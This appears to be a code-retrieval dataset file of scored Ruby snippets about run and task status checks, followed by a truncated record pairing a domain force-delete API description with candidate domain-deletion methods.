[ { "docid": "9a5b2dc13c2b4c6c763532d398b5c0f2", "score": "0.6336658", "text": "def run_started(run_status)\n Chef::DataCollector::ConfigValidation.validate_server_url!\n Chef::DataCollector::ConfigValidation.validate_output_locations!\n\n send_run_start\n end", "title": "" }, { "docid": "9adc93dde160c86999812d0e9a978e74", "score": "0.609297", "text": "def run!\n @status = :running\n end", "title": "" }, { "docid": "0c23314700711910b4be00a7b602634a", "score": "0.60400945", "text": "def letRunning()\n return @status = :running ;\n end", "title": "" }, { "docid": "a4497dbfe0b32f41d977e42e083128f8", "score": "0.60347986", "text": "def status\n @server.get_run_attribute(@uuid, @links[:status])\n end", "title": "" }, { "docid": "b871608dfd0b4d4f8b694104147f855d", "score": "0.6006257", "text": "def run?\n !!config.run\n end", "title": "" }, { "docid": "2ed010c74e499f3553fe454855a9c7e1", "score": "0.5940547", "text": "def with_run_status(run_status)\n @run_status = run_status\n self\n end", "title": "" }, { "docid": "2ed010c74e499f3553fe454855a9c7e1", "score": "0.5940547", "text": "def with_run_status(run_status)\n @run_status = run_status\n self\n end", "title": "" }, { "docid": "74ae2622db913f76258220647710cb02", "score": "0.5823097", "text": "def run_dependees\n status = nil\n task_instances.each do |t|\n out colorize('task:', :green) << \" #{t.short_name}\"\n if status = t.smart_run\n out colorize('task:', :green) << \" #{t.short_name} \" << colorize('failed:',:red) << \" #{status.inspect}\"\n break\n end\n end\n status\n end", "title": "" }, { "docid": "6d97b81efca4a9993866d14355079359", "score": "0.57473457", "text": "def has_run?\n !!run_plugin\n end", "title": "" }, { "docid": "7864850a63577a63d658bf31693e57b9", "score": "0.5745159", "text": "def check_and_set_update_running\n if MyopicVicar::Application.config.fc_update_processor_status_file.blank?\n log_message('***ERROR: MyopicVicar::Application.config.fc_update_processor_status_file is not defined!')\n return true\n elsif File.exist?(MyopicVicar::Application.config.fc_update_processor_status_file)\n # status file just has unix timestamp of last start time\n update_start_i = File.read(MyopicVicar::Application.config.fc_update_processor_status_file).to_i rescue 0\n update_start_time = Time.at(update_start_i).to_s\n log_message(\"***ERROR: freecen1_update_processor self.update_all() started at #{Time.now.to_s} but there seems to be an update process already running (started #{update_start_time}) because file '#{MyopicVicar::Application.config.fc_update_processor_status_file}' exists. Returning without processing.\")\n return true\n else\n f = File.new(MyopicVicar::Application.config.fc_update_processor_status_file, \"wb\")\n f.write(Time.now.to_i.to_s)\n f.close\n end\n false\n end", "title": "" }, { "docid": "63609c81f95a71d29d8c5f0c3a4e725c", "score": "0.57243574", "text": "def run!\n update_status :running\n end", "title": "" }, { "docid": "0153d057aed7a39b3f9b04fb71786082", "score": "0.5723953", "text": "def run\n super\n\n # We inspect the 'triggered by' user to determine if this run should be marked 'official'\n # Official runs are ONLY compared against previous official runs.\n user = @config_manager['run.trigger.user']\n user = ENV['USERNAME'] if user.nil?\n if user.start_with?('[FORCED_OFFICIAL]')\n user = user.sub('[FORCED_OFFICIAL]', '')\n official = true\n else\n user = user.split(';')[0] # A ';' separated list of users, use only the first one.\n official_users = @config_manager['run.trigger.official_users']\n official = official_users.any? { |pattern| user.match(pattern) }\n end\n\n # Create and save the RunConfig and RunResult entities.\n @run_config = @results_database.get_run_config!\n @run_result = @results_database.create_run_result(@run_config)\n @run_result.mode = @component_name\n @run_result.user = user\n @run_result.official = official\n @run_result.save\n # The run name is passed as an argument to all tasks.\n propagate_option('--run-name', @run_result.run_name)\n\n # Process the task groups.\n @logger.debug('Generating task list...')\n task_groups = get_task_groups\n @logger.fine(\"Processing groups (#{task_groups.join(', ')})...\")\n task_groups.each { |group| process_task_group(group) }\n task_groups.each { |group| process_tasks(group) }\n\n # Start the process manager.\n @logger.debug(\"Starting 'manager'...\")\n start_manager\n\n # The target task that this runner will execute.\n @runner_target = @config_manager['mode.runner.target']\n\n # Load observers and notify that the run is about to start.\n load_observers('mode', [])\n notify_change('runner_started')\n end", "title": "" }, { "docid": "a03cc28a2700a1fc81b50765a30b6d48", "score": "0.5715251", "text": "def run?\n @run ||= false\n end", "title": "" }, { "docid": "72f716f038fad5ab40ecd070143bf5cc", "score": "0.56643635", "text": "def config_status; end", "title": "" }, { "docid": "4ca9e56558ef1a3c95df16cf77e210c1", "score": "0.5657224", "text": "def run_completed(node, run_status); end", "title": "" }, { "docid": "f356e911372dd13e42ff2c439a68138d", "score": "0.56509775", "text": "def status\n the_last_run = lastrun\n status = {:applying => applying?,\n :enabled => enabled?,\n :daemon_present => daemon_present?,\n :lastrun => the_last_run,\n :idling => idling?,\n :disable_message => lock_message,\n :since_lastrun => (Time.now.to_i - the_last_run)}\n\n if !status[:enabled]\n status[:status] = \"disabled\"\n elsif status[:applying]\n status[:status] = \"applying a catalog\"\n elsif status[:idling]\n status[:status] = \"idling\"\n elsif !status[:applying]\n status[:status] = \"stopped\"\n end\n\n status[:message] = \"Currently %s; last completed run %s ago\" \\\n % [status[:status], seconds_to_human(status[:since_lastrun])]\n status\n end", "title": "" }, { "docid": "bdf32f84a852a5751d89280a9d283f15", "score": "0.56158954", "text": "def method_missing(method_name, *args, &block)\n if Jobba::Statuses.instance_methods.include?(method_name)\n run.send(method_name, *args, &block)\n else\n super\n end\n end", "title": "" }, { "docid": "a22ced3fd12206a9c8e2723281c168e8", "score": "0.5610119", "text": "def running?\r\n run_flag\r\n end", "title": "" }, { "docid": "296a324602eea578a3e82d3ae3a22c5d", "score": "0.5593759", "text": "def run_failed\n failure_handlers = self.class.run_failed_notifications\n failure_handlers.each do |notification|\n notification.call(run_status)\n end\n end", "title": "" }, { "docid": "296a324602eea578a3e82d3ae3a22c5d", "score": "0.5593759", "text": "def run_failed\n failure_handlers = self.class.run_failed_notifications\n failure_handlers.each do |notification|\n notification.call(run_status)\n end\n end", "title": "" }, { "docid": "446e55315f75c7e56d1921f753cb2b95", "score": "0.55906844", "text": "def status\n unless @status\n @status =\n if results.empty?\n 'notrun'\n else\n Result.summary_status(results.collect(&:status))\n end\n end\n @status\n end", "title": "" }, { "docid": "98577434dfa19f1dda2b33b0f47215a3", "score": "0.5563289", "text": "def set_schedule_status\n self.status = if disabled || frequency.blank? || transfer_mode != 'scheduled'\n Statuses[:stopped_manually]\n else\n Statuses[:schedule_run_set_configured]\n end\n end", "title": "" }, { "docid": "b692636646f33e82296d83c2449aa542", "score": "0.5554963", "text": "def run_started\n self.class.run_start_notifications.each do |notification|\n notification.call(run_status)\n end\n end", "title": "" }, { "docid": "ba21dc18de78e1f8be4515eb1bf2db48", "score": "0.553784", "text": "def was_running=(value)\n @was_running = value\n end", "title": "" }, { "docid": "b7b9208212c8ef8b8bc83d58e1fa8a07", "score": "0.55341405", "text": "def status\n if !@status\n @status =\n if results.empty?\n 'notrun'\n else\n Result.summary_status(results.collect { |r| r.status } )\n end\n end\n @status\n end", "title": "" }, { "docid": "c8bc369a73add983e38c00d8c5f8a491", "score": "0.55114603", "text": "def run_when_booted\n until self.booted?\n self.reload\n sleep 1\n classname = self.class.to_s.downcase\n self.run_provider_method(\"#{classname}_check_status\")\n end\n yield\n end", "title": "" }, { "docid": "f49fddaa90470128a6189e29cd7cf576", "score": "0.5510498", "text": "def running?\n status == 'running'\n end", "title": "" }, { "docid": "5a2681974e68e73687787823b47850f1", "score": "0.5508277", "text": "def run_hook(type, project)\n if type == :before\n exec config['before_switch'] unless config['before_switch'].nil?\n exec project['before_switch'] unless project['before_switch'].nil?\n elsif type == :after\n exec config['after_switch'] unless config['after_switch'].nil?\n exec project['after_switch'] unless project['after_switch'].nil?\n end\n end", "title": "" }, { "docid": "706f312c8db15b499d84c827a70300f3", "score": "0.5503245", "text": "def check_run?\n github_event == 'check_run'\n end", "title": "" }, { "docid": "9195c6904cb850b0d16f2af64e9397ac", "score": "0.5495871", "text": "def run?\n @run\n end", "title": "" }, { "docid": "9195c6904cb850b0d16f2af64e9397ac", "score": "0.5495871", "text": "def run?\n @run\n end", "title": "" }, { "docid": "d7fc78e5f7d18ecb842683ae08694b69", "score": "0.5492936", "text": "def run_failed(exception, run_status); end", "title": "" }, { "docid": "d4e71223b9cc7c2e54cede09de0ba499", "score": "0.5487265", "text": "def get_status\n\t\t# do some stuff like parsing file under \"result/report/current\" and tcmtresult or sth else.\n\t\t@status = {\n\t\t\t:running => true,\n\t\t\t:did => 'policy-0010',\n\t\t\t:stat => {\n\t\t\t\t:pass => 10,\n\t\t\t\t:fail => 1,\n\t\t\t\t:skip => 2\n\t\t\t}\n\t\t}\n\n\t\tp @status\n\tend", "title": "" }, { "docid": "88a18bbeb8beba2be2e6234e21b56d81", "score": "0.54809856", "text": "def run\n check\n rescue StatusError => e\n rescue => e\n e = StatusError.new(:unknown, ([e.to_s, nil] + e.backtrace).join(\"\\n\"))\n else\n e = StatusError.new(:unknown, 'no status method was called')\n ensure\n puts [service, e.to_s].join(' ')\n exit e.to_i\n end", "title": "" }, { "docid": "5bf726a82f4ffb36a288f1ef6e91c752", "score": "0.54774916", "text": "def run?\n @run\n end", "title": "" }, { "docid": "adfa8db9133805589decd8dc34c11428", "score": "0.5456778", "text": "def scanner_status\n @runner.scanner_status\n end", "title": "" }, { "docid": "11c695de6b10ab0dfdae633e43832d3c", "score": "0.5451624", "text": "def running?; @status != :dead; end", "title": "" }, { "docid": "b86ece39f4aff817ed9b3959c250ed8a", "score": "0.5450008", "text": "def status\n calculate_status unless finished?\n @status\n rescue => e\n Astute.logger.warn(\"Fail to detect status of the task #{@task['type']}\" \\\n \" #{task_name} with error #{e.message} trace: #{e.format_backtrace}\")\n failed!\n end", "title": "" }, { "docid": "6dc54a613c0da80e64f9e4525bbbea54", "score": "0.5448404", "text": "def run context=nil\r\n @status=:success\r\n return self.status\r\n end", "title": "" }, { "docid": "8983deb666eee87917bed315acdc8fff", "score": "0.5446956", "text": "def run_started\n self.class.run_start_notifications.each do |notification|\n notification.call(run_status)\n end\n events.run_started(run_status)\n end", "title": "" }, { "docid": "0a3fe1e98d0fa528a3ec9fdaca8de890", "score": "0.54299337", "text": "def send_run_completion(status)\n # this is necessary to send a run_start message when we fail before the run_started chef event.\n # we adhere to a contract that run_start + run_completion events happen in pairs.\n send_run_start unless sent_run_start?\n\n message = Chef::DataCollector::RunEndMessage.construct_message(self, status)\n send_to_data_collector(message)\n send_to_output_locations(message)\n end", "title": "" }, { "docid": "0566a0f159e12e8ba38c2ee5e0dc511d", "score": "0.54236525", "text": "def status\n calculate_status unless finished?\n @status\n rescue => e\n Astute.logger.warn(\"Fail to detect status of the task #{task['type']}\" \\\n \" #{task_name} with error #{e.message} trace: #{e.format_backtrace}\")\n failed!\n end", "title": "" }, { "docid": "53525e98a1f74a06e719c8b3c9799df0", "score": "0.54166955", "text": "def probe_running\n if @host.available?\n status = service(:status, 'mysql').downcase\n # mysql is running if the output of \"service mysql status\" doesn't include any of these strings\n not_running_strings = ['not running', 'stop/waiting']\n @running = not_running_strings.none? {|str| status.include? str}\n else\n @running = false\n end\n end", "title": "" }, { "docid": "78846201085d2c48dbc20f4c070b10f5", "score": "0.54152983", "text": "def run\n notify_observers :before_run\n\n @exit_code = command_runner.run\n ensure\n notify_observers :after_run\n end", "title": "" }, { "docid": "41ba95ebe5782e4d2fcb164919b11fe7", "score": "0.5411317", "text": "def running?\n @status == :running\n end", "title": "" }, { "docid": "5bb18e5da94ad05c6f08f99c1ae90a85", "score": "0.54110533", "text": "def run_started(run_status)\n write_to_file(\"run_started: Run started\")\n end", "title": "" }, { "docid": "49a337769cd8819f440e746dda5c5ef7", "score": "0.5410731", "text": "def run?\n @run\n end", "title": "" }, { "docid": "1b9b351226f61b1c502bcc27c04313fa", "score": "0.5400822", "text": "def running?\n status == :running\n end", "title": "" }, { "docid": "1b9b351226f61b1c502bcc27c04313fa", "score": "0.5400822", "text": "def running?\n status == :running\n end", "title": "" }, { "docid": "87fc00c359f188e9e5079b8b856ee6fa", "score": "0.53970504", "text": "def run_foreground\n if is_running?\n Deploy::Utils.debug \"Already running task #{task_name} at pid #{pid} status #{status}!\"\n return 1\n end\n call\n end", "title": "" }, { "docid": "faaa09915142ca65b0240f81e7ee8812", "score": "0.53895026", "text": "def running?\n status == 'running'\n end", "title": "" }, { "docid": "1bb8a96e0634ef50e5cd6ef6db27aed6", "score": "0.5386016", "text": "def was_running\n return @was_running\n end", "title": "" }, { "docid": "e29676fc47c655d1a188d6d6402457fd", "score": "0.53857857", "text": "def realtime_status \n return status if status == 'finished' or status == 'failed'\n \n self.import_modules.update_statuses\n\n if import_modules.load.select{ |im| im.status == 'failed'}.count > 0\n update_attribute(:status, 'failed')\n elsif import_modules.load.select{ |im| im.finished? }.count == import_modules.size\n update_attribute(:status, 'finished')\n elsif import_modules.load.select{ |im| im.status == 'pending' }.count > 0\n update_attribute(:status, 'pending')\n elsif import_modules.load.select{ |im| im.status != 'ready' && im.status != 'waiting' }.count > 0 and status != 'working'\n update_attribute(:status, 'working')\n end\n status\n end", "title": "" }, { "docid": "a5f55b328eafc2ebfaa6ab64d5206e95", "score": "0.53839767", "text": "def status\n if stopped?\n 'Stopped'\n elsif stopping?\n 'Stopping'\n elsif running?\n 'Running'\n elsif failed?\n 'Failed'\n else\n 'Unknown'\n end\n end", "title": "" }, { "docid": "8a302d1dafd71a6fcab64df369bb627b", "score": "0.53796774", "text": "def extract_run_id(run_context)\n # Chef 11.8.2+ exposes a run_id to report handlers\n if respond_to?(:run_id)\n run_id\n # If we are running on older Chef we'll go trolling the event\n # handlers for a resource reporter (which generates a run ID).\n else\n resource_reporter = nil\n if run_context.events.instance_variable_defined?('@subscribers')\n subscribers = run_context.events.instance_variable_get('@subscribers')\n if subscribers\n resource_reporter = subscribers.find do |handler|\n handler.is_a?(Chef::ResourceReporter)\n end\n end\n end\n resource_reporter.run_id if resource_reporter\n end\n end", "title": "" }, { "docid": "5b3e2b664080fd4862dff2f91a6af144", "score": "0.5375857", "text": "def setup_task_status\n if !task.data.fetch('fail_on_error', true) && @task_engine.failed?\n Astute.logger.warn \"Task #{task.name} failed, but marked as skipped \"\\\n \"because of 'fail on error' behavior\"\n return :skipped\n end\n @task_engine.status\n end", "title": "" }, { "docid": "e4b5986f1f623b09ddfb6cf41a9c62ba", "score": "0.53702515", "text": "def running_config\n return @running_config if @running_config\n @running_config = get_config(params: 'all', as_string: true)\n end", "title": "" }, { "docid": "2c52b4eacc6a8a673787636e80d7a70a", "score": "0.5368568", "text": "def status\n @status || :stopped\n end", "title": "" }, { "docid": "8468da4aecdea4c09cf65235a078c369", "score": "0.535164", "text": "def _status_cmd\n exit_on_failure status_cmd, STATUS_DOWN_CODE,\n \"#{@app.name} #{@name} is not running\"\n end", "title": "" }, { "docid": "ee8e29a74446764a113f391d587e22cd", "score": "0.53492844", "text": "def running?\n !(status =~ /running/).nil?\n end", "title": "" }, { "docid": "ee8e29a74446764a113f391d587e22cd", "score": "0.53492844", "text": "def running?\n !(status =~ /running/).nil?\n end", "title": "" }, { "docid": "544ca7b0a7aa971166f298947023869e", "score": "0.53400457", "text": "def status\n # Initialize a nil value to something meaningful\n @status ||= :not_executed\n @status\n end", "title": "" }, { "docid": "614350c19260f32acafc982c09cdf3a5", "score": "0.5336237", "text": "def is_running?\n return check_state == \"Running\" \n end", "title": "" }, { "docid": "d565132367c4f8252f6dd53c63b651ca", "score": "0.53312933", "text": "def status\n last_run&.status || \"new\"\n end", "title": "" }, { "docid": "e0d06a6c0d6b6878eea6cb80c4dc0674", "score": "0.5325654", "text": "def get_last_task_run_status?\n self.class.get_ndx_last_task_run_status([self], model_handle).values.first\n end", "title": "" }, { "docid": "f6ad729b700b03e52984fd1dbd27ec51", "score": "0.5322837", "text": "def update_task_status(event) # :nodoc:\n\t if event.success?\n\t\tplan.task_index.add_state(self, :success?)\n\t\tself.success = true\n\t elsif event.failure?\n\t\tplan.task_index.add_state(self, :failed?)\n\t\tself.success = false\n @failure_reason ||= event\n @failure_event ||= event\n end\n\n\t if event.terminal?\n\t\t@terminal_event ||= event\n\t end\n\t \n\t if event.symbol == :start\n\t\tplan.task_index.set_state(self, :running?)\n\t\tself.started = true\n\t\t@executable = true\n\t elsif event.symbol == :stop\n\t\tplan.task_index.remove_state(self, :running?)\n plan.task_index.add_state(self, :finished?)\n\t\tself.finished = true\n self.finishing = false\n\t @executable = false\n\t end\n\tend", "title": "" }, { "docid": "79623344143198edaf59a131583c7309", "score": "0.53201103", "text": "def running?\n cmd = shell_out(\"#{sv_bin} status #{service_dir_name}\")\n (cmd.stdout.match(/^run:/) && cmd.exitstatus == 0) ? true : false\n end", "title": "" }, { "docid": "a1f25eb1ba8b6e3ccc2649ced4f06e92", "score": "0.5318013", "text": "def running?\n !(status =~ /running/).nil?\n end", "title": "" }, { "docid": "a1f25eb1ba8b6e3ccc2649ced4f06e92", "score": "0.5315461", "text": "def running?\n !(status =~ /running/).nil?\n end", "title": "" }, { "docid": "e40a94f1570a9c8144a897e088a975d4", "score": "0.5309128", "text": "def running?\n probe if @running.nil?\n @running\n end", "title": "" }, { "docid": "be1d26a39c35d0b908da65f9e15749e4", "score": "0.5308828", "text": "def status(run_id, account: nil)\n path = \"filter/runs/#{run_id}\"\n get account, path, {}\n end", "title": "" }, { "docid": "5eaf3039fa9efeb139447784ba30f8d2", "score": "0.5291171", "text": "def _in_the_running; @in_the_running end", "title": "" }, { "docid": "5e647bccc42c563e7418dc3f2cac6d66", "score": "0.5285865", "text": "def runnable?\n self.info.has_key? :run\n end", "title": "" }, { "docid": "c005c8702776220856fedafb0966f8a2", "score": "0.527221", "text": "def status\n execute('status') do\n if @experiment.preparing?\n return status_prepare_action\n elsif @experiment.started?\n return status_experiment_action\n end\n end\n end", "title": "" }, { "docid": "06e8f87056674f0db21091b618937999", "score": "0.5268074", "text": "def status\n check_service\n if task_id\n task_status\n elsif schedule_id\n schedule_status\n else\n raise \"Queue or schedule before check status.\"\n end\n end", "title": "" }, { "docid": "2dda2ac4448e8db97d3a2dd3ed363902", "score": "0.52653307", "text": "def report_start_run\n @run_status = Moto::Reporting::RunStatus.new\n @run_status.initialize_run\n\n @listeners.each do |l|\n begin\n l.start_run\n rescue Exception => e\n puts \"Listener #{l.class.name} on Start run: #{e.to_s}\"\n end\n end\n end", "title": "" }, { "docid": "5656f76306b12b7ccd6f65f1ada6c2c3", "score": "0.5257438", "text": "def running?\n self.status == :running\n end", "title": "" }, { "docid": "5656f76306b12b7ccd6f65f1ada6c2c3", "score": "0.5257438", "text": "def running?\n self.status == :running\n end", "title": "" }, { "docid": "7aae0d59a8b694a1acf17054fd26edad", "score": "0.5257193", "text": "def running?\n status.state == \"running\"\n end", "title": "" }, { "docid": "4000a712ff3beeb05751f1e8e8f6fadf", "score": "0.52565163", "text": "def running?\n\t\t\t@status == :running\n\t\tend", "title": "" }, { "docid": "4000a712ff3beeb05751f1e8e8f6fadf", "score": "0.52565163", "text": "def running?\n\t\t\t@status == :running\n\t\tend", "title": "" }, { "docid": "4000a712ff3beeb05751f1e8e8f6fadf", "score": "0.52565163", "text": "def running?\n\t\t\t@status == :running\n\t\tend", "title": "" }, { "docid": "fce59a39cf820385f45034c2acf52ee2", "score": "0.5247741", "text": "def status\n if active?\n return 'unready' if active_config.committing?\n return 'pending' if active_config.queued?\n return 'ready' if active_config.applied?\n return 'failed' if active_config.failed?\n end\n 'hold'\n end", "title": "" }, { "docid": "91cf292890466245c8704b97a7114439", "score": "0.5247262", "text": "def before_run\n fail 'please run `dw config` first' unless configured?\n end", "title": "" }, { "docid": "f1d5a94603af0b7929f28e7d3b655ad1", "score": "0.52378064", "text": "def get_running_config\n if @running_config\n return @running_config\n else\n response = @marathon_client.find(@name)\n @running_config = response.error? ? nil : response.parsed_response\n debug \"Retrieved running Marathon configuration: #{@running_config}\"\n return @running_config\n end\n end", "title": "" }, { "docid": "09d6ae8e836327245bc59e781560bcc2", "score": "0.5232939", "text": "def run\n t1 = Time.now\n check\n rescue StatusError => e\n rescue => e\n e = StatusError.new(:unknown, ([e.to_s, nil] + e.backtrace).join(\"\\n\"))\n else\n e = StatusError.new(:unknown, 'no status method was called')\n ensure\n t2 = Time.now\n msg = [service, e.to_s].join(' ')\n perfdata = get_perfdata\n t = t2 - t1\n puts \"#{msg}|time=#{t} #{perfdata}\"\n exit e.to_i\n end", "title": "" }, { "docid": "b3d9185c037b6bbd5fc0709f28804084", "score": "0.52304834", "text": "def check_run?\n payload_type == 'check_run'\n end", "title": "" }, { "docid": "b14c88d04220383500447af83866ab27", "score": "0.52285796", "text": "def status\n process_is :running do\n puts '* unicorn is running'\n end\n end", "title": "" }, { "docid": "736bb58b9a2e131d07d8730e45742c00", "score": "0.5228575", "text": "def run(_context = nil)\n @status = :success\n return status\n end", "title": "" }, { "docid": "7b2f03f01d79d2edebca1a5b5719e892", "score": "0.5219987", "text": "def status\n if swiftinit_run('status', false).exitstatus == 0\n return :running\n else\n # Transition block for systemd systems. If swift-init reports service is\n # not running then send stop to systemctl so that service can be started\n # with swift-init and fully managed by this provider.\n if Facter.value(:operatingsystem) != 'Ubuntu'\n systemctl_run('stop', [resource[:pattern]], false)\n systemctl_run('disable', [resource[:pattern]], false)\n end\n return :stopped\n end\n end", "title": "" }, { "docid": "7327a0372dc8004cef40c068516980d7", "score": "0.5215736", "text": "def cmd_running? argv\n if @api.nil?\n msg \"false\"\n return\n end\n\n status = @api.status\n if !status.nil?\n if !status[\"status\"].nil?\n msg status[\"status\"][\"running\"]\n end\n else\n msg \"false\"\n end\n end", "title": "" }, { "docid": "ded711fcb9158a288b3e754a96c3e7fc", "score": "0.5210841", "text": "def running?; @state == :running; end", "title": "" }, { "docid": "f5a1373a8b26eaccb8bf3ec16ac0268e", "score": "0.5210569", "text": "def determine_task_status\n if report.is_a? Hash\n failures = report.fetch('summary', {}).fetch('failure_count', nil)\n if failures.is_a? Numeric\n set_status_value(failures == 0)\n end\n end\n status\n end", "title": "" }, { "docid": "cab3119ad1cfe5c3ba8904ea500b94dd", "score": "0.5209635", "text": "def status()\n @status = :stopped if @status.nil?\n return @status\n end", "title": "" }, { "docid": "412670c803bd3377f4025eecf867a963", "score": "0.520586", "text": "def should_run?\n val = (!all_nodes_ready? ||\n config_updated?)\n end", "title": "" }, { "docid": "b75fbba2e3b8c6eb5b49aa4f3dfb90b8", "score": "0.520526", "text": "def status\n job_status = RImageService.job_status(self.last_burn.job_id)[:stage] unless self.last_burn.nil?\n case job_status.downcase\n when /cancelled/; self.cancel!; self.last_burn.cancel!; \"Cancelled\"\n when /recording/; self.last_burn.burn!; \"Recording\"\n when /waiting_for_imaging/; \"Waiting\"\n when /imaging/; self.last_burn.image!; \"Imaging\"\n when /printing/; self.last_burn.print!; \"Printing\"\n when /done/; self.completed!; self.last_burn.complete!; \"Completed\"\n else \"Working\"\n end\n end", "title": "" }, { "docid": "a71d98d3a8b72c78ff017a6b4a04d7d1", "score": "0.5201267", "text": "def run\n if checkrestart?\n checkrestart_out = run_checkrestart\n\n if /^Failed/ =~ checkrestart_out[:found]\n unknown checkrestart_out[:found]\n end\n\n message JSON.generate(checkrestart_out)\n found = checkrestart_out[:found].to_i\n\n warning if found >= config[:warn].to_i && found < config[:crit].to_i\n critical if found >= config[:crit].to_i\n ok\n elsif needs_restarting?\n needs_restarting_out = run_needs_restarting\n\n if /^Failed/ =~ needs_restarting_out[:found]\n unknown needs_restarting_out[:found]\n end\n\n message JSON.generate(needs_restarting_out)\n found = needs_restarting_out[:found].to_i\n\n warning if found >= config[:warn].to_i && found < config[:crit].to_i\n critical if found >= config[:crit].to_i\n ok\n else\n unknown \"Can't seem to find either checkrestart or needs-restarting. For checkrestart, you will need to install the debian-goodies package.\"\n end\n end", "title": "" }, { "docid": "7d0370b99f65a7f716fda1dd8042eec0", "score": "0.5198715", "text": "def running?\n return true if @status == :running\n\n return false\n end", "title": "" }, { "docid": "779f11fae046b6e2bc978ea61ee12193", "score": "0.5186966", "text": "def running?\n (state == 'launched' || state == 'admin' || state == 'idle' || state == 'busy' || state == 'reserved' || state == 'manual' || state == 'provisioning' || state == 'error')\n end", "title": "" }, { "docid": "43797f682f0026d4fd3a3dc264e0e92a", "score": "0.5183633", "text": "def run!\n if unrun_sub_runners.any?\n instrument RUN_INSTRUMENTATION_NAME do\n begin\n self.success = nil\n invoke_before_run_callbacks\n instrument(:__run_unrun_sub_runners) { run_unrun_sub_runners }\n # If any of the sub runners explicitly set the success flag, don't override it\n self.success = failed_sub_runners.empty? if self.success.nil?\n rescue StandardError => error\n invoke_on_error_callbacks(error)\n end\n end\n invoke_after_run_callbacks\n end\n self\n end", "title": "" } ]
665a116f5c0f3ccf7b1dee117925fe9f
Deletes a domain using an asynchronous longrunning operation. Prior to calling forceDelete, you must update or remove any references to Exchange as the provisioning service. The following actions are performed as part of this operation: After the domain deletion completes, API operations for the deleted domain will return a HTTP 404 status code. To verify deletion of a domain, you can perform a get domain operation.
[ { "docid": "e38d36ea79801b18fe7733fa8b92dc00", "score": "0.0", "text": "def post(body, request_configuration=nil)\n raise StandardError, 'body cannot be null' if body.nil?\n request_info = self.to_post_request_information(\n body, request_configuration\n )\n error_mapping = Hash.new\n error_mapping[\"4XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n error_mapping[\"5XX\"] = lambda {|pn| MicrosoftGraph::Models::ODataErrorsODataError.create_from_discriminator_value(pn) }\n return @request_adapter.send_async(request_info, nil, error_mapping)\n end", "title": "" } ]
[ { "docid": "82cf56910af1b142261850478af0ca3b", "score": "0.69521147", "text": "def delete_domain(domain)\n _params = {:domain => domain}\n return @master.call 'inbound/delete-domain', _params\n end", "title": "" }, { "docid": "d1adc9b5f339a2197c06932b7d1a017b", "score": "0.6934011", "text": "def delete_domain(domain)\n api(\"DeleteDomain\", domain)\n end", "title": "" }, { "docid": "9bab86990cdc50a15a51831ab18eaba8", "score": "0.6882325", "text": "def delete_domain(domain)\n _params = {:domain => domain}\n return @master.call 'inbound/delete-domain', _params\n end", "title": "" }, { "docid": "abf6164831a5bd23f1858b952347b1d4", "score": "0.6868714", "text": "def delete_domain(domain, legal_document, legal_doc_type)\n builder = build_epp_request do |xml|\n xml.command {\n xml.delete {\n xml.delete('xmlns:domain' => XML_NS_DOMAIN, 'xsi:schemaLocation' => XML_DOMAIN_SCHEMALOC) {\n xml.parent.namespace = xml.parent.namespace_definitions.first\n xml['domain'].name domain\n }\n }\n append_legal_document(xml, legal_document, legal_doc_type)\n xml.clTRID UUIDTools::UUID.timestamp_create.to_s\n }\n end\n \n DomainDeleteResponse.new(send_request(builder.to_xml))\n end", "title": "" }, { "docid": "a6a97bee91d59060bbf22c897f2aa16c", "score": "0.6808813", "text": "def delete_domain( name )\n response = invoke(\"aut:deletedomain\") do |message|\n build_auth!( message )\n message.add('domainNameOrId', name)\n end\n\n true\n end", "title": "" }, { "docid": "59c5a31a30131571f690de24a2e2f521", "score": "0.67587894", "text": "def destroy\n name = params[:name] || params[:id]\n name = name.downcase if name.presence\n get_domain(name)\n force = get_bool(params[:force])\n\n authorize! :destroy, @domain\n\n if force\n while (apps = Application.where(domain_id: @domain._id)).present?\n apps.each(&:destroy_app)\n end\n elsif Application.where(domain_id: @domain._id).present?\n if requested_api_version <= 1.3\n return render_error(:bad_request, \"Domain contains applications. Delete applications first or set force to true.\", 128)\n else\n return render_error(:unprocessable_entity, \"Domain contains applications. Delete applications first or set force to true.\", 128)\n end\n end\n # reload the domain so that MongoId does not see any applications\n @domain.reload\n result = @domain.delete\n\n @analytics_tracker.track_event('domain_delete', @domain, nil)\n\n status = requested_api_version <= 1.4 ? :no_content : :ok\n render_success(status, nil, nil, \"Domain #{name} deleted.\", result)\n end", "title": "" }, { "docid": "156808d0850bc8509522e2ab0c6719d8", "score": "0.66652125", "text": "def delete(app_id_or_app_name, domain_id_or_domain_hostname)\n @client.domain.delete(app_id_or_app_name, domain_id_or_domain_hostname)\n end", "title": "" }, { "docid": "156808d0850bc8509522e2ab0c6719d8", "score": "0.66652125", "text": "def delete(app_id_or_app_name, domain_id_or_domain_hostname)\n @client.domain.delete(app_id_or_app_name, domain_id_or_domain_hostname)\n end", "title": "" }, { "docid": "2af174b9dd707a16101000eb9313eb48", "score": "0.6665007", "text": "def deletedomain(body)\r\n # Prepare query url.\r\n _path_url = '/domain/delete'\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << _path_url\r\n _query_url = APIHelper.clean_url _query_builder\r\n # Prepare headers.\r\n _headers = {\r\n 'content-type' => 'application/json; charset=utf-8'\r\n }\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.delete(\r\n _query_url,\r\n headers: _headers,\r\n parameters: body.to_json\r\n )\r\n CustomHeaderAuth.apply(_request)\r\n _context = execute_request(_request)\r\n # Validate response against endpoint and global error codes.\r\n if _context.response.status_code == 400\r\n raise APIException.new(\r\n 'API Response',\r\n _context\r\n )\r\n elsif _context.response.status_code == 401\r\n raise APIException.new(\r\n 'API Response',\r\n _context\r\n )\r\n elsif _context.response.status_code == 403\r\n raise APIException.new(\r\n 'API Response',\r\n _context\r\n )\r\n elsif _context.response.status_code == 405\r\n raise APIException.new(\r\n 'Invalid input',\r\n _context\r\n )\r\n end\r\n validate_response(_context)\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end", "title": "" }, { "docid": "c1a2eb222075af579540484250458602", "score": "0.66269845", "text": "def destroy\n r = self.class.delete(\"/domains/#{self.id}\")\n if r.code == 200\n self\n else\n raise StandardError, 'Could not delete the domain'\n end \n end", "title": "" }, { "docid": "5609feb16828ad129ae0652bf6d3772f", "score": "0.64454776", "text": "def delete(domain)\n Mailgun.submit :delete, domain_url(domain)\n end", "title": "" }, { "docid": "b04f659ff8edefb96abe9bfe27094704", "score": "0.6433609", "text": "def destroy\n @domain = 